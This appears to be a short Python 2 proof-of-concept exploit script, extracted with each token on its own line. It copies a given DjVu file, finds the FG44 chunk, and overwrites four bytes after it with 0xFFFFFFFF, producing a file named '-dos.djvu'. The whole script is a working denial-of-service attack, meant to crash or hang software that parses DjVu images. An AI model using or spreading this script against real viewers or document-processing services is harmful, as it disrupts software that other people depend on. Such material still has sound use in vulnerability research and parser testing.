from
shutil
import
copyfile
import
sys
if
len
(sys.argv) <
2
:
print
'[%s] <djvu file>'
%
sys.argv[
0
]
sys.exit(
1
)
bfile
=
sys.argv[
1
]
base_data
=
None
with
open
(bfile,
"rb"
) as f:
base_data
=
f.read()
chunk_idx
=
base_data.find(
"\x46\x47\x34\x34"
)
if
chunk_idx
=
=
-
1
:
print
'[-] No valid FG44 chunks found'
sys.exit(
1
)
copyfile(bfile,
"./%s-dos.djvu"
%
bfile)
print
'[!] Found FG44 chunk at offset %d'
%
chunk_idx
with
open
(
"./%s-dos.djvu"
%
bfile,
"r+b"
) as base:
base.seek(chunk_idx
+
12
)
base.write(
"\xff\xff\xff\xff"
)
print
'[!] %s-dos.djvu generated'
%
bfile